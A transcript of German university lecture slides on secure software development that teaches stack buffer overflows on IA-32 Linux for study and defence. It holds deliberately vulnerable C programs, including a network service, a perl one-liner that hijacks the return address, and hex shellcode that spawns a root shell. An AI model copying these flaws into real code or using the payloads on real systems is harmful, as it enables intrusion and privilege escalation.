IT-Sicherheit. Sichere Softwareentwicklung



Ähnliche Dokumente
Hier sollen solche Schwachstellen diskutiert werden und Techniken zu ihrer Vermeidung aufgezeigt

Betriebssysteme - Sicherheit

Programmierung in C. Grundlagen. Stefan Kallerhoff

Zählen von Objekten einer bestimmten Klasse

Anleitung über den Umgang mit Schildern

1 Vom Problem zum Programm

Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung)

I.1 Die Parrot Assemblersprache

KeePass Anleitung. 1.0Allgemeine Informationen zu Keepass. KeePass unter Windows7

Binäre Bäume. 1. Allgemeines. 2. Funktionsweise. 2.1 Eintragen

Einführung in die Programmierung

Übungen zu Einführung in die Informatik: Programmierung und Software-Entwicklung: Lösungsvorschlag

Der neue persönliche Bereich/die CommSy-Leiste

Informatik Grundlagen, WS04, Seminar 13

Menü auf zwei Module verteilt (Joomla 3.4.0)

5 DATEN Variablen. Variablen können beliebige Werte zugewiesen und im Gegensatz zu

Deklarationen in C. Prof. Dr. Margarita Esponda

Felder, Rückblick Mehrdimensionale Felder. Programmieren in C

Praktikum Ingenieurinformatik. Termin 2. Verzweigungen (if-else), printf und scanf, while-schleife

Lineargleichungssysteme: Additions-/ Subtraktionsverfahren

Objektorientierte Programmierung

Modellierung und Programmierung 1

Professionelle Seminare im Bereich MS-Office

Automatisierung ( Fernsteuerung ) von Excel unter Microsoft Windows Tilman Küpper (tilman.kuepper@hm.edu)

Outlook. sysplus.ch outlook - mail-grundlagen Seite 1/8. Mail-Grundlagen. Posteingang

Funktionen Häufig müssen bestimmte Operationen in einem Programm mehrmals ausgeführt werden. Schlechte Lösung: Gute Lösung:

Programmiersprachen Einführung in C. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm

Unterprogramme. Funktionen. Bedeutung von Funktionen in C++ Definition einer Funktion. Definition einer Prozedur

Stundenerfassung Version 1.8 Anleitung Arbeiten mit Replikaten

M. Graefenhan Übungen zu C. Blatt 3. Musterlösung

Übungspaket 31 Entwicklung eines einfachen Kellerspeiches (Stacks)

Abschluss Version 1.0

BTD Antivirus Evasion: Von der Idee zum PoC. Daniel Sauder SySS GmbH

CA Übung Christian kann heute nicht kommen => ich bin heute da, Christian das nächste Mal wieder

Bedienungsanleitung Anlassteilnehmer (Vereinslisten)

Einführung in die Programmierung

Stundenerfassung Version 1.8

AutoCAD Dienstprogramm zur Lizenzübertragung

Datenbanken Kapitel 2

Matrix42. Use Case - Sicherung und Rücksicherung persönlicher Einstellungen über Personal Backup. Version September

Tutorial about how to use USBView.exe and Connection Optimization for VNWA.

Übungen zu Softwaresysteme I Jürgen Kleinöder Universität Erlangen-Nürnberg Informatik 4, 2004 K-Uebung9.fm

Arbeiten mit UMLed und Delphi

MORE Profile. Pass- und Lizenzverwaltungssystem. Stand: MORE Projects GmbH

2. Semester, 2. Prüfung, Lösung

Netzwerksicherheit Musterlösung Übungsblatt 4: Viren

Erweiterung der Aufgabe. Die Notenberechnung soll nicht nur für einen Schüler, sondern für bis zu 35 Schüler gehen:

The ToolChain.com. Grafisches Debugging mit der QtCreator Entwicklungsumgebung

GalBIB. TSB - Titelstamm Bibliographie. Mit dieser Erweiterung können:

L10N-Manager 3. Netzwerktreffen der Hochschulübersetzer/i nnen Mannheim 10. Mai 2016

Zwischenablage (Bilder, Texte,...)

Debuggen mit GDB (Gnu DeBugger) unter Eclipse

Password Depot für ios

Schrittweise Anleitung zur Erstellung einer Angebotseite 1. In Ihrem Dashboard klicken Sie auf Neu anlegen, um eine neue Seite zu erstellen.

Wie man die SLNP-Schnittstelle für ILL2 in ALEPH testet (SLNP2)

Wo möchten Sie die MIZ-Dokumente (aufbereitete Medikamentenlisten) einsehen?

Einführung in die Programmierung

2A Basistechniken: Weitere Aufgaben

Einrichten einer mehrsprachigen Webseite mit Joomla (3.3.6)

AutoTexte und AutoKorrektur unter Outlook verwenden

Handbuch. NAFI Online-Spezial. Kunden- / Datenverwaltung. 1. Auflage. (Stand: )

Advoware mit VPN Zugriff lokaler Server / PC auf externe Datenbank

Mozilla Firefox - Zeit für den Wechsel

Kurzanleitung RACE APP

Programmieren in C. Macros, Funktionen und modulare Programmstruktur. Prof. Dr. Nikolaus Wulff

Einführung in die C-Programmierung

Internationales Altkatholisches Laienforum

Zugriff auf die Modul-EEPROMs

Anton Ochsenkühn. amac BUCH VERLAG. Ecxel für Mac. amac-buch Verlag

Stand: Adressnummern ändern Modulbeschreibung

Installation kitako. Wir nehmen uns gerne Zeit für Sie! Systemanforderungen. Demoversion. Kontakt

DIGITALVARIO. Anleitung Bootloader. Ausgabe 0.1 deutsch für Direkt-Digital-Vario. Firmware ab Hardware 01 Seriennummer ab 0003

Datenexport aus JS - Software

Linux Prinzipien und Programmierung

Einführung in die technische Informatik

GEVITAS Farben-Reaktionstest

Hochschule München, FK 03 FA SS Ingenieurinformatik

Benutzerhandbuch - Elterliche Kontrolle

NEUES BEI BUSINESSLINE WINDOWS

LU-Zerlegung. Zusätze zum Gelben Rechenbuch. Peter Furlan. Verlag Martina Furlan. Inhaltsverzeichnis. 1 Definitionen.

Informatik Repetitorium SS Volker Jaedicke

Fotogalerie mit PWGallery in Joomla (3.4.0) erstellen

Delegatesund Ereignisse

Windows. Workshop Internet-Explorer: Arbeiten mit Favoriten, Teil 1

Geld Verdienen im Internet leicht gemacht

Objektorientiertes Programmieren mit Suse Linux

Lösung Übungszettel 6

Kurzanleitung fu r Clubbeauftragte zur Pflege der Mitgliederdaten im Mitgliederbereich

3 Wie bekommen Sie Passwortlevel 3 und einen Installateurscode?

S7-Hantierungsbausteine für R355, R6000 und R2700

Erstellen von x-y-diagrammen in OpenOffice.calc

Zur drittletzten Zeile scrollen

Erstellen der Barcode-Etiketten:

Hochschule Darmstadt. IT-Sicherheit

Die Programmiersprache C99: Zusammenfassung

ZAHLUNGSAVIS. Im Zahlungsprogrammteil automatisch erstellen

Wie man Registrationen und Styles von Style/Registration Floppy Disketten auf die TYROS-Festplatte kopieren kann.

Daten-Synchronisation zwischen dem ZDV-Webmailer und Outlook ( ) Zentrum für Datenverarbeitung der Universität Tübingen

Starten Sie Eclipse: Hier tragen sie Ihr Arbeitsverzeichnis ein. Zu Hause z.b. c:\workspace.

GITS Steckbriefe Tutorial

Transkript:

IT-Sicherheit Sichere Softwareentwicklung alois.schuette@h-da.de Version: WS2014(967c57d) Alois Schütte 10. Dezember 2014 1 / 69

Inhaltsverzeichnis Sichere Softwareentwicklung ist ein weites Feld. Hier beschränken wir und auf wenige Aspekte. 1 2 Gegenmassnahmen 2 / 69

1 Datentypen der IA-32 Prozessorarchitektur Speicherorganisation Stack Funktionsprinzip Schwachstellen Angriffsmöglichkeiten - Denial of Service Attacken Angriffsmöglichkeiten - Gezielte Modifikation des Programmflusses Angriffsmöglichkeiten - Eingeschleuster Programmkode 2 Gegenmassnahmen 3 / 69

Hier werden mit ihren Auswirkungen betrachtet 1. Umgebung: Die Schwachstellen werden auf Intel Linux Rechnern (ELF basiertes Unix mit IA-32 Architektur) diskutiert. Sie sind aber auf anderen Systemen ebenfalls möglich, dann sind die spezifischen Umgebungsbesonderheiten entsprechend zu berücksichtigen. Die Programme, die als Basis für die, gezeigt werden, sind in C geschrieben und mit dem GNU Compiler übersetzt. Durch Darstellung des Programmablaufs wird der GNU Debugger verwendet. 1 Die vorgestellten Programme orientieren sich am Buch Buffer Overflows und Format-String-Schwachstellen von Tobias Klein. Dort sind weitere Schwachstellen und Gegenmassnahmen beschrieben. 4 / 69

Datentypen der IA-32 Prozessorarchitektur Datentypen der IA-32 Prozessorarchitektur Ein Byte hat 8 Bit, ein Wort besteht aus 2 Byte, ein Doppelwort aus 4 Byte. Verwendet wird Little-endian-Byte-Ordering. Daten und Speicher werden wie folgt dargestellt: Byte Wort Doppelwort 7 0 15 87 0 high B. low B. 31 2423 1615 87 0 Speicher 31 2423 1615 87 0 Bit Offset 16 höchste Adresse 12 8 4 Byte 3 Byte 2 Byte 1 Byte 0 0 niedrigste Adresse Byte Offset 5 / 69

Speicherorganisation Speicherorganisation kann man nur verstehen, wenn die Prozess- und Speicherorganisation bekannt ist. Eine Binärdatei enthält ein ausführbares Programm und ist auf einem Datenträger abgelegt. Hier wird das in Linux übliche Format ELF (Executable and Linking Format) zu Grunde gelegt. Wird ein Programm aufgerufen, wird der dazu gehörende Programmkode in den Hauptspeicher geladen und das Programm wird in dieser Umgebung ausgeführt. Dieses sich im Ablauf befindende Programm wird Prozess genannt. Einem Prozess ist ein (virtueller) Adressraum zur Verfügung gestellt, der in Segmente aufgeteilt ist. 0xc0000000 Stack hohe Adressen 0x08048000 frei Heap Data Text niedrige Adressen 6 / 69

Speicherorganisation Textsegment Im Textsegment wird der (übersetze) Programmkode abgelegt. Dieser Bereich ist read only, um zu verhindern, dass ein Prozess seine Instruktionen versehentlich überschreibt. Ein Schreibversuch in den Bereich führt zu einem Fehler (Segmentation Violation, Speicherzugriffsfehler). segmentationviolation.c 1 char global [] = " Text "; 3 int main ( void ) { 4 printf ("%s\n", global ); 5 global [ -100] = 'a'; 6 return 0; 7 } Stack frei Heap t x e T Text global[-10000] Was passiert, wenn global[4]= X gesetzt wird? 7 / 69

Speicherorganisation Data Segment Globale und static Variable werden im Data Segment abgelegt. Dabei wird das Segment nochmals unterteilt, in den Data und den BSS Block (block started by symbol). Im Data Block werden initialisierte globale und initialisierte static Variable gespeichert. Im BSS Block werden nicht initialisierte globale und nicht initialisierte static Variable gespeichert. 8 / 69

Speicherorganisation Stack Auto-Variable (lokale Variable einer Funktion) und Funktionsparameter werden auf dem Stack abgelegt, wenn die Funktion aufgerufen wird. Der Stack ist unterteilt in zwei Bereiche: Umgebungsinformationen zum Prozess User Stack Insgesamt wächst der Stack von hohen zu niedrigen Adressen. oberstes Element Endemarke Programname env[0]... env[m] argv[0]... argv[n] argc User Stack frei 9 / 69

Speicherorganisation Adressraum beobachten Mittels des GNU Debuggers kann man die Lage der einzelnen Arten von Variablen im Speicher ansehen. Dazu betrachten wir ein einfaches Programm: segmente.c 1 char global_i [] = " Text "; 2 int global_ni ; 4 void funktion ( int lokal_a, int lokal_b, int lokal_c ) { 5 static int lokal_stat_i = 15; 6 static int lokal_stat_ni ; 7 int lokal_i ; 8 } 10 int main ( void ) { 11 funktion (1, 2, 3); 12 return 0; 13 } Der GNU Compiler muss mit der Option g aufgerufen werden, um Debugg-Information zu generieren: $ gcc -g -o segmente segmente.c 10 / 69

Speicherorganisation Nun kann der Debugger aufgerufen werden: 1 $ gdb segmente 2 GNU gdb ( GDB ) Fedora (7.2-16. fc14 ) 3 Reading symbols from segmente... done. 4 ( gdb ) Wir setzen einen Breakpoint am Ende der Funktion function, um die Speicherbelegung ansehen zu können 1 ( gdb ) list 2 2 int global_ni ; 3 3 4 4 void funktion ( int lokal_a, int lokal_b, int lokal_c ) { 5 5 static int lokal_stat_i = 15; 6 6 static int lokal_stat_ni ; 7 7 int lokal_i ; 8 8 } 9 9 10 10 int main ( void ) { 11 11 funktion (1, 2, 3); 12 ( gdb ) break 8 13 Breakpoint 1 at 0 x8048397 : file segmente.c, line 8. 14 ( gdb ) 11 / 69

Speicherorganisation Nun wird das Programm ablaufen laufen: 1 ( gdb ) run 2 Starting program : segmente 4 Breakpoint 1, funktion ( lokal_a =1, lokal_b =2, lokal_c =3) at segmente.c:8 5 8 } 6 ( gdb ) Wir sehen uns die Adressen der einzelnen Variablen an: 1 ( gdb ) print & global_i 2 $3 = ( char (*)[5]) 0 x804962c 3 ( gdb ) help info symbol 4 Describe what symbol is at location ADDR. 5 Only for symbols with fixed locations ( global or static scope ). 6 ( gdb ) info symbol 0 x804962c 7 global_i in section. data of segmente 8 ( gdb ) print & global_ni 9 $4 = ( int *) 0 x8049644 10 ( gdb ) info symbol 0 x8049644 11 global_ni in section. bss of segmente 12 ( gdb ) print & lokal_stat_i 13 $5 = ( int *) 0 x8049634 14 ( gdb ) info symbol 0 x8049634 15 lokal_stat_i.1219 in section. data of segmente 16 ( gdb ) 12 / 69

Speicherorganisation Die Lage der nicht statischen lokalen Variablen kann man nur über einen Trick ansehen, da sie sich auf dem Stack befinden: man verzweigt vom Debugger zur Shell und sieht im proc-dateisystem nach. 1 ( gdb ) shell 2 [ as@ulab1 Schwachstellen ]$ ps -a grep segmente 3 26121 pts /0 00:00:00 segmente 4 [ as@ulab1 Schwachstellen ]$ cat / proc /26121/ maps 5 00110000-00111000 r- xp 00000000 00:00 0 [ vdso ] Anfang Textsegment 6 0076 a000-00787000 r- xp 00000000 fd :00 47859 / lib /ld -2.13. so 7 00787000-00788000 r--p 0001 c000 fd :00 47859 / lib /ld -2.13. so 8 00788000-00789000 rw -p 0001 d000 fd :00 47859 / lib /ld -2.13. so 9 0078 b000-0090 e000 r- xp 00000000 fd :00 47860 / lib / libc -2.13. so 10 0090 e000-0090 f000 ---p 00183000 fd :00 47860 / lib / libc -2.13. so 11 0090 f000-00911000 r--p 00183000 fd :00 47860 / lib / libc -2.13. so 12 00911000-00912000 rw -p 00185000 fd :00 47860 / lib / libc -2.13. so 13 00912000-00915000 rw -p 00000000 00:00 0 14 08048000-08049000 r- xp 00000000 fd :02 561900 segmente 15 08049000-0804 a000 rw -p 00000000 fd :02 561900 segmente 16 b7fef000 - b7ff0000 rw -p 00000000 00:00 0 17 b7fff000 - b8000000 rw -p 00000000 00:00 0 18 bffdf000 - c0000000 rw -p 00000000 00:00 0 [ stack ] Anfang Stack 19 exit mit Adr. lokal i 20 ( gdb ) 13 / 69

Stack Funktionsprinzip Stack Funktionsprinzip Der Stack wird durch push- und pop-operationen verwaltet und ist in Frames eingeteilt. Neben den automatischen Variablen und den Funktionsparametern, werden auch Verwaltungsinformationen, wie z.b. die Rücksprungadresse und Framepointer bei einem Funktionsaufruf auf den Stack geschrieben. 14 / 69

Stack Funktionsprinzip Stack Beispiel funk normal.c 1 void funktion ( int a, int b, int c) { 2 char buff [10]; /* lokale Variable auf dem Stack */ 3 buff [0] = 6; 4 buff [1] = a; 5 return 6; 6 } 8 int main ( void ) { 9 int i = 1; /* lokale Variable auf dem Stack */ 10 i = funktion (1, 2, 3); /* Argumente, welche an die Funktion 11 übergeben und auf dem Stack 12 gespeichert werden */ 13 return 0; 14 } Stack vor dem Aufruf der Funktion funktion(1,2,3): i = 1 frei 15 / 69

Stack Funktionsprinzip 1 void funktion ( int a, int b, int c) { 2 char buff [10]; /* lokale Variable auf dem Stack */ 3 buff [0] = 6; 4 buff [1] = a; 5 return 6; 6 } 8 int main ( void ) { 9 int i = 1; /* lokale Variable auf dem Stack */ 10 i = funktion ( 1,2,3 ); /* Argumente, welche an die Funktion 11 übergeben und auf dem Stack 12 gespeichert werden */ 13 return 0; 14 } Stack nach Kopieren der aktuellen Parameter, vor dem Aufruf funktion(1,2,3): i = 1 3 2 1 Rücksprungadresse i = funktion(1,2,3) in main frei 16 / 69

Stack Funktionsprinzip 1 void funktion ( int a, int b, int c) { 2 char buff [10]; /* lokale Variable auf dem Stack */ 3 buff [0] = 6; 4 buff [1] = a; 5 return 6; 6 } Stack nach Aufruf von i=funktion(1,2,3), vor Termination der Funktion: i = 1 3 2 1 Rücksprungadresse Framepointer?? buff[9] buff[8] buff[7] buff[6] buff[5] buff[4] buff[3] buff[2] buff[1] 6 frei buff[16] main() funktion() 17 / 69

Stack Funktionsprinzip 1 void funktion ( int a, int b, int c) { 2 char buff [10]; /* lokale Variable auf dem Stack */ 3 buff [0] = 6; 4 buff [1] = a; 5 return 6; 6 } 8 int main ( void ) { 9 int i = 1; /* lokale Variable auf dem Stack */ 10 i = funktion (1,2,3); /* Argumente, welche an die Funktion 11 übergeben und auf dem Stack 12 gespeichert werden */ 13 return 0; 14 } Stack nach Aufruf von i=funktion(1,2,3), nach Termination der Funktion: i = 6 frei 18 / 69

Schwachstellen Schwachstellen Eine Stackbasierte Buffer-Overflow Schwachstelle entsteht, wenn die Verwaltungsinformation auf dem Stack manipuliert wird, indem z.b. ein statisches Array mit mehr Werten gefüllt wird, als es gross ist. 19 / 69

Schwachstellen Beispiel Im folgenden Beispiel wird es einen solchen Überlauf geben, wenn das Programm mit einem Argument aufgerufen wird, das zu lang ist. stack bof.c 1 # include <stdio.h> 2 # include <string.h> 4 void funktion ( char * args ) { 5 char buff [12]; 6 strcpy ( buff, args ); 7 } 9 int main ( int argc, char * argv []){ 10 printf (" Eingabe : "); 11 if ( argc > 1) { 12 funktion ( argv [1]); 13 printf ("%s\n", argv [1]); 14 } else 15 printf (" Kein Argument!\ n"); 16 return 0; 17 } $ stack_bof 123456 Eingabe : 123456 $ stack_bof 12345678901234567890123456 Speicherzugriffsfehler $ 20 / 69

Schwachstellen 1 void funktion ( char * args ) { 2 char buff [12]; 3 strcpy ( buff, args ); 4 } $ stack_bof 123456 Eingabe : 123456 $ stack_bof 12345678901234567890123456 Speicherzugriffsfehler $ Der Grund des Absturzes ist, dass die Rücksprungadresse überschreiben wurde und der Versuch an die überschriebene Adresse zu springen, einen Speicherzugriffsfehler erzwungen hat. Rücksprungadresse Framepointer buff[11]buff[10]buff[9]buff[8] buff[7] buff[6] buff[5] buff[4] buff[3] buff[2] buff[1] buff[0] frei main() funktion() 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 frei 21 / 69

Angriffsmöglichkeiten - Denial of Service Attacken Angriffsmöglichkeiten - Denial of Service Attacken Das Abschiessen von Service-Programmen nennt man auch Denial of Service Attacke. Eine Möglichkeit, dies zu tun besteht im Ausnutzen von n die dann zum Absturz des Service-Programms führen der Service steht dann nicht mehr zur Verfügung. Das folgende Programm realisiert einen Service (auf Socket Basis), der auf den Port 7777 hört und dem Benutzer bei Anfragen zur Eingabe auffordert, dann den Eingabewert zurück liefert. dos.c 1 # include <sys / types.h> 2 # include <stdio.h> 3 # include <sys / socket.h> 4 # include <netinet / in.h> 5 # include <arpa / inet.h> 6 # include <string.h> 7 # include <unistd.h> 9 # define LISTENQ 1024 10 # define SA struct sockaddr 11 # define PORT 7777 22 / 69

Angriffsmöglichkeiten - Denial of Service Attacken 1 void do_sth ( char * str ) { 2 char buff [24]; 3 strcpy ( buff, str ); 4 printf (" buff :\ t%s\n", buff ); 5 } 7 int main ( int argc, char * argv []) { 8 char line [64]; 9 int listenfd, connfd ; 10 struct sockaddr_in servaddr ; ssize_t n; 11 listenfd = socket ( AF_INET, SOCK_STREAM, 0); 12 bzero (& servaddr, sizeof ( servaddr )); 13 servaddr. sin_family = AF_INET ; 14 servaddr. sin_addr. s_addr = htonl ( INADDR_ANY ); 15 servaddr. sin_port = htons ( PORT ); 16 bind ( listenfd, (SA *) & servaddr, sizeof ( servaddr )); 17 listen ( listenfd, LISTENQ ); 19 while (1) { 20 connfd = accept ( listenfd, ( SA *) NULL, NULL ); 21 write ( connfd, " Eingabe :\t", 9); 22 n = read ( connfd, line, sizeof ( line ) - 1); 23 line [n] = 0; 24 do_sth ( line ); 25 close ( connfd ); 26 } 27 } 23 / 69

Angriffsmöglichkeiten - Denial of Service Attacken Der Dienst wird gestartet: $ dos & [1] 6814 $ ps PID TTY TIME CMD 5939 pts /0 00:00:00 bash pts /0 00:00:00 dos 6820 pts /0 00:00:00 ps $ Nun kann der Dienst von einem (normalerweise anderen) Rechner in Anspruch genommen werden: $ telnet localhost 7777 Trying 127.0.0.1... Connected to localhost. Escape character is '^] '. Eingabe : AAAAAAAA buff : AAAAAAAA Connection closed by foreign host. $ 24 / 69

Angriffsmöglichkeiten - Denial of Service Attacken Der Dienst wird abgeschossen, wenn die Benutzereingabe zu gross ist, weil die Funktion do sth() die Bibliotheksfunktion strcpy() verwendet und keine Längenprüfung erfolgt (Pufferüberlauf): $ telnet localhost 7777 Trying 127.0.0.1... Connected to localhost. Escape character is '^] '. Eingabe : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA buff : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Connection closed by foreign host. [1]+ Speicherzugriffsfehler dos $ ps PID TTY TIME CMD 5939 pts /0 00:00:00 bash 6824 pts /0 00:00:00 ps $ Der Grund des Absturzes ist auch hier, dass die Rücksprungadresse überschreiben wurde und der Versuch an die überschriebene Adresse zu springen, einen Speicherzugriffsfehler erzwungen hat. 25 / 69

Angriffsmöglichkeiten - Denial of Service Attacken Das sieht man, indem man den Coredump auswertet (dazu muss man das Anlegen eines Core- dump explizite erlauben): $ ulimit -c 1000 $ telnet localhost 7777 Trying 127.0.0.1... Connected to localhost. Escape character is '^] '. Eingabe : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA buff : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Connection closed by foreign host. [1]+ Speicherzugriffsfehler ( core dumped ) dos $ ls core.6844 dos dos.c $ gdb dos core.6831 Core was generated by `dos '. Program terminated with signal 11, Segmentation fault.... ( gdb ) info registers ebp eip ebp 0 x41414141 0 x41414141 eip 0 x41414141 0 x41414141 ( gdb ) Die Rücksprungadresse (im Register eip) besteht aus 0x4141414141414141 = AAAAAAAA. Das ist keine gültige Adresse. Der Framepointer (im Register ebp) ist auch mit A s überschrieben. 26 / 69

Angriffsmöglichkeiten - Gezielte Modifikation des Programmflusses Gezielte Modifikation des Programmflusses Im letzten Beispiel wurde die Rücksprungadresse mit A s überschreiben. Den Programmfluss kann man manipulieren, wenn man die Rücksprungadresse mit einer gültigen Adresse überschreibt. Es ist also erforderlich, 1 die Speicheradresse zu bestimmen, an der sich die Rücksprungadresse befindet (diesen Platz wollen wir ja überschreiben) und 2 eine neue Adresse zu bestimmen, an der das Programm weiter machen soll. Im folgenden Programm gibt es zwei Funktionen: oeffentlich() die soll von einem normalen Benutzer aufgerufen werden; geheim() die soll nur aufgerufen werden, wenn der Superuser das Programm verwendet. 27 / 69

Angriffsmöglichkeiten - Gezielte Modifikation des Programmflusses 1 void geheim ( void ) { 2 printf (" GEHEIM!!!\ n"); 3 exit (0); 4 } 6 void oeffentlich ( char * args ) { 7 char buff [12]; // Buffer 8 memset ( buff, 'B', sizeof ( buff )); // Fuelle Buffer mit B 's 9 strcpy ( buff, args ); // Ziel des Angriffs 10 printf ("\ nbuff : [%s] (%p)(% d)\n\n", buff, buff, sizeof ( buff )); 11 } 13 int main ( int argc, char * argv []) { 14 int uid ; uid = getuid (); 16 if ( uid == 0) // soll nur ausgefuehrt werden, 17 geheim (); // wenn der super - user das Programm startet 19 if ( argc > 1) { 20 printf (" geheim () - >(%p)\ n", geheim ); Adresse von geheim 21 printf (" oeffentlich () - >(% p)\ n", oeffentlich ); und oeffentlich 22 oeffentlich ( argv [1]); 23 } else 24 printf (" Kein Argument!\ n") 25 return 0; 26 } 28 / 69

Angriffsmöglichkeiten - Gezielte Modifikation des Programmflusses Der Aufruf als normaler Benutzer und root ohne Pufferüberlauf führt zu dem erwarteten Ergebnis: $ id uid =500( as) gid =100( users ) $ ret AAA geheim () -> (0 x80483f8 ) Adr. geheim oeffentlich () -> (0 x8048418 ) Adr. oeffentlich buff : [ AAA ] (0 xbfffda60 )(12) (Adr. buf), (buf.len) $ su Password : # id uid =0 gid =0 # ret AAA GEHEIM!!! # Die Adresse von geheim ist also 0x80483f8. Wenn wir nun diese Adresse von geheim() als Rücksprungadresse auf den Stack bringen, zuvor noch den Framepointer mit Dummies füllen, müsste die Prozedur geheim ausgeführt werden, auch wenn man nicht Superuser ist, da aus der Funktion oeffentlich nicht zu main, sondern zu geheim gesprungen wird. 29 / 69

Angriffsmöglichkeiten - Gezielte Modifikation des Programmflusses Rücksprungadresse Framepointer buff[11]buff[10]buff[9]buff[8] buff[7] buff[6] buff[5] buff[4] buff[3] buff[2] buff[1] buff[0] frei geheim(){...} oeffentlich(){...} main(){...} main() oeffentlich() 0x80483f8 xf8 x83 x04 x08 B B B B A A A A A A A A A A A A frei geheim(){...} oeffentlich(){...} main(){...} $ id uid =500( as) gid =100( users ) $ ret `perl -e '{ print "A" x12 ; print "B" x12 ; print "\ xf8 \ x83 \ x04 \ x08 ";} '` geheim () -> (0 x80483f8 ) oeffentlich () -> (0 x8048418 ) buff : [ AAAAAAAAAAAABBBBø ] (0 xbfffdbf0 )(12) GEHEIM!!! $ Achtung: je nach vorhandener Umgebung sind neben dem Framepointer noch weitere Register gespeichert: entsprechend viel B s verwenden (z.b B x16). 30 / 69

Angriffsmöglichkeiten - Eingeschleuster Programmkode Angriffsmöglichkeiten - Eingeschleuster Programmkode Man kann auch verwenden, um eigenen Programmkode in ein Programm einzuschleusen. Ein Programm, das in der Lage ist, programmfremden Kode zur Ausführung zu bringen, besteht aus zwei Teilen: 1 Der Injektion Vector ist der Programmteil, der den Puffer zum überlaufen bringt und den Programmfluss so manipuliert, dass der Payload ausgeführt wird. 2 Der Payload ist der eingeschleuste, fremde Programmkode. Häufig verwendete Payloads sind: Eintragen von neuen Zeilen in die /etc/passwd mit UID=0 Virus und Snifferkode Öffnen einer Shell mit Root-Berechtigung Im Folgenden beschränken wir uns auf das Öffnen einer Shell; die anderen Payload werden mit ähnlicher Technik erstellt. 31 / 69

Angriffsmöglichkeiten - Eingeschleuster Programmkode Der Payload soll im Prozessraum des Wirtsprogramms ausgeführt werden. Also muss er in Assemblerkode erstellt und in Hexadezimalnotaion abgelegt werden. Das kann man am einfachsten tun, indem man 1 zunächst ein C-Programm mit dem gewünschten Payload erstellt, 2 dann das C-Programm in Assembler überführt, um 3 letztlich die Hex-Form zu Erzeugen. shell.c 1 # include <stdio.h> 2 int main ( void ) { 3 char * name [2]; 4 name [0] = "/ bin / sh"; 5 name [1] = NULL ; 6 execve ( name [0], name, NULL ); 7 } Übersetzen und laufen lassen 32 / 69

Angriffsmöglichkeiten - Eingeschleuster Programmkode Das Übersetzen in Assembler (cc -S) führt zu Kode, den man analysieren und anpassen kann: 1 $ gcc -S shell.c 2 $ cat shell.s 3. file " shell.c" 4. section. rodata 5. LC0 : 6. string "/ bin / sh" 7. text 8. globl main 9. type main, @function 10 main : 11 pushl % ebp 12 movl %esp, % ebp 13 andl $ -16, % esp 14 subl $32, % esp 15... 16 movl %edx, 4(% esp ) 17 movl %eax, (% esp ) 18 call execve 19 leave 20 ret 21. size main,.- main 22. ident " GCC : ( GNU ) 4.5.1 20100924 ( Red Hat 4.5.1-4) " 23. section. note.gnu - stack,"",@progbits 24 $ 33 / 69

Angriffsmöglichkeiten - Eingeschleuster Programmkode Nach Anpassungen muss der Kode in Hexnotation gebracht werden: 1 char shellcode [] = 2 /* setuid (0) */ 3 "\ x31 \ xc0 " /* xorl %eax,% eax */ 4 "\ x31 \ xdb " /* xorl %ebx,% ebx */ 5 "\ xb0 \ x17 " /* movb $0x17,% al */ 6 "\ xcd \ x80 " /* int $0x80 */ 7 /* Shell oeffnen */ 8 "\ xeb \ x1f " /* jmp 0 x1f */ 9 "\ x5e " /* popl % esi */ 10 "\ x89 \ x76 \ x08 " /* movl %esi,0x8 (% esi ) */ 11 "\ x31 \ xc0 " /* xorl %eax,% eax */ 12 "\ x88 \ x46 \ x07 " /* movb %eax,0x7 (% esi ) */ 13 "\ x89 \ x46 \ x0c " /* movl %eax,0xc (% esi ) */ 14 "\ xb0 \ x0b " /* movb $0xb,% al */ 15 "\ x89 \ xf3 " /* movl %esi,% ebx */ 16 "\ x8d \ x4e \ x08 " /* leal 0x8 (% esi ),% ecx */ 17 "\ x8d \ x56 \ x0c " /* leal 0xc (% esi ),% edx */ 18 "\ xcd \ x80 " /* int $0x80 */ 19 "\ x31 \ xdb " /* xorl %ebx,% ebx */ 20 "\ x89 \ xd8 " /* movl %ebx,% eax */ 21 "\ x40 " /* inc % eax */ 22 "\ xcd \ x80 " /* int $0x80 */ 23 "\ xe8 \ xdc \ xff \ xff \ xff " /* call -0 x24 */ 24 "/ bin /sh"; /*. string \"/ bin /sh \" */ Der fremde Kode muss also wie o.a. Beschaffen sein, damit eine Shell damit geöffnet werden kann. 34 / 69

Angriffsmöglichkeiten - Eingeschleuster Programmkode Eine ausführliche Anleitung, wie man aus C-Kode ausführbaren Hex-Kode erzeugen kann ist zu finden unter http://wiki.hackerboard.de/index.php/shellcode (Exploit) Aus dem Programm: 1 # include <stdio.h> 2 int main ( void ){ 3 char * name [2]; 4 name [0] = "/ bin / sh"; 5 name [1] = NULL ; 6 seteuid (0, 0); 7 execve ( name [0], name, NULL ); 8 } wird dadurch Hex-Kode: \ x31 \ xc0 \ xb0 \ x46 \ x31 \ xdb \ x31 \ xc9 \ xcd \ x80 \ xeb \ x10 \ x5b \ x31 \ xc0 \ x88 \ x43 \ x07 \ x50 \ x53 \ x89 \ xe1 \ xb0 \ x0b \ x31 \ xd2 \ xcd \ x80 \ xe8 \ xeb \ xff \ xff \ xff \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x23 der dann in einem C-Programm verwendet werden kann: 35 / 69

Angriffsmöglichkeiten - Eingeschleuster Programmkode Shellcode.c 1 char code []= 2 "\ x31 \ xc0 \ xb0 \ x46 \ x31 \ xdb \ x31 \ xc9 \ xcd \ x80 \ xeb \ x10 \ x5b \ x31 \ xc0 \ x88 " 3 "\ x43 \ x07 \ x50 \ x53 \ x89 \ xe1 \ xb0 \ x0b \ x31 \ xd2 \ xcd \ x80 \ xe8 \ xeb \ xff \ xff " 4 "\ xff \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x23 "; 6 int main () { 7 int (* shell )(); 8 shell = code ; 9 shell (); 10 } Rechner 36 / 69

